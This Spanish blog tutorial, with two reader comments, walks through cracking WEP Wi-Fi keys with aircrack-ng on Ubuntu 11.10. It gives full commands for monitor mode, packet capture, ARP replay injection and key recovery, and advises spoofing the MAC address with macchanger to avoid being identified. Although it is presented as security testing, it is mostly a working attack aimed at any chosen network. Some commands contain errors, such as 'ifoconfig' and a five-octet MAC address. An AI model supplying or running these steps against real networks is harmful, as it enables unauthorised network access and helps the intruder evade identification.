Hackear redes wifi WEP con aircrack-ng en Ubuntu 11.10 64 bits

+1
+1
-1

Hackear redes wifi WEP en Ubuntu 11.10 64 bits.

Aquí dejo un pequeño tutorial para poner a prueba la seguridad de las redes wifi con encriptación WEP bajo Ubuntu 11.10 64 bits. Más adelante bloguearé cómo hacerlo con encriptaciones WPA y WPA2.

Lo primero que tenemos que saber es si nuestra tarjeta de red se puede poner en modo promiscuo o modo monitor (es lo mismo). Para saberlo podéis googlear, no creo que encontréis mayor problema. Una vez hecho esto instalamos aircrack-ng, macchanger y patch.

sudo apt-get install aircrack-ng macchanger patch

En principio esto no debería daros mayor problema.
Es posible que al instalarlo hay algún problema y debáis parchear. Puede daros el error mon0 is on channel -1.
Para evitarlo instalamos compat-wireless, con la importancia fundamental de que conincida con la versión de nuestro kernel.
Para saber la versión de nuestro kernel.

uname -r

Al ser Ubuntu 11.10 debería daros este resultado:

3.0.0-12-generic

Así que vamos a este enlace: (recordad siempre que se trata de la versión de 64 bits)

http://www.orbit-lab.org/kernel/compat-wireless-3-stable/v3.0/

Ahí vais a la versión que corresponda. En mi caso yo he escogido el archivo compat-wireless-3.0-2.tar.bz2

Una vez descargado desde la terminal hacemos

tar -jxvf compat-wireless-3.0-2.tar.bz2

cd compat-wireless-3.0-2

make

sudo make install

sudo make unload

sudo reboot

Todavía debemos hacer algunas cosas más si queremos solucionar el error mon0 is on channel -1.

Vete a http://patches.aircrack-ng.org/

Ahí clickea en channel-negative-one-maxim.patch y descargalo. Si no puedes descargarlo selecciona el contenido y pégalo en un archivo con gedit, ponle la extensión .patch y el nombre channel-negative-one-maxim, de manera que quede como al principio del párrafo. Asegúrate de que lo pones en la carpeta compat-wireless-3.0-2

Luego escribe en la terminal

patch ./net/wireless/chan.c channel-negative-one-maxim.patch

make

sudo make install

sudo make unload

sudo reboot

Ahora ya sí que no nos saldrá el error mon0 is on channel -1. Yo lo he probado en mi ordenador y va perfectamente.

A continuación ponemos la tarjeta en modo monitor. Escribe

ifconfig

y observa cuál es el nombre del dispositivo. En mi caso es wlan0

Escribe

sudo airmon-ng start wlan0

y se pondrá en modo monitor. Luego escribe

sudo airodump-ng mon0

y a continuación elige la red a comprobar su seguridad. Una vez hecho esto pulsa Ctrl+C y escribe

sudo airodump-ng -c [canal] --bssid [corta y pégala] -w [nombre de la red] mon0

Abre otra terminal y escribe

sudo aireplay-ng -1 0 -a [bssid] -h [mac] mon0

Si no queremos que se nos identifique, cambia la mac con macchanger

sudo ifconfig mon0 down

sudo macchanger -m 11:22:33:44:55 mon0

sudo ifoconfig mon0 up

Ahora escribe

sudo aireplay -3 -b [bssid] -h [mac] mon0

Si no hay filtro mac empezará a haber un intercambio de paquetes. Procura que los ARP al menos sean de 30.000.

Abre otra terminal y escribe

sudo aircrack-ng [nombre de la red]-01.cap

Y entonces, antes o después y con varios intentos, te dará la clave.
Ponla sin los dos puntos, todos los números seguidos.

Podrías tener algunos errores, como por ejemplo:

Failed. Next try 5000 CVs

A mí me pasó, lo seguí intentando y no me dio ningún problema.
También te podría pasar que no hubiese intercambios de ARPs, eso es porque la señal de la conexión es baja.

Espero que os sirva. Saludos.

Comentarios

Imagen de benson1961

Amigo no tengo ninguna carpeta creo que se llame patch ./net/wireless/chan.c channel-negative-one-maxim.patch, o sea .net/wireless , me puedes explicar? hice todos los pasos que das, pero al llegar a este ??????? , saludos

Imagen de benson1961

Ya entendí como ingresar a la carpeta .net, disculpas por no razonar mas rápido, voy a probar y te cuento, saludos, buen post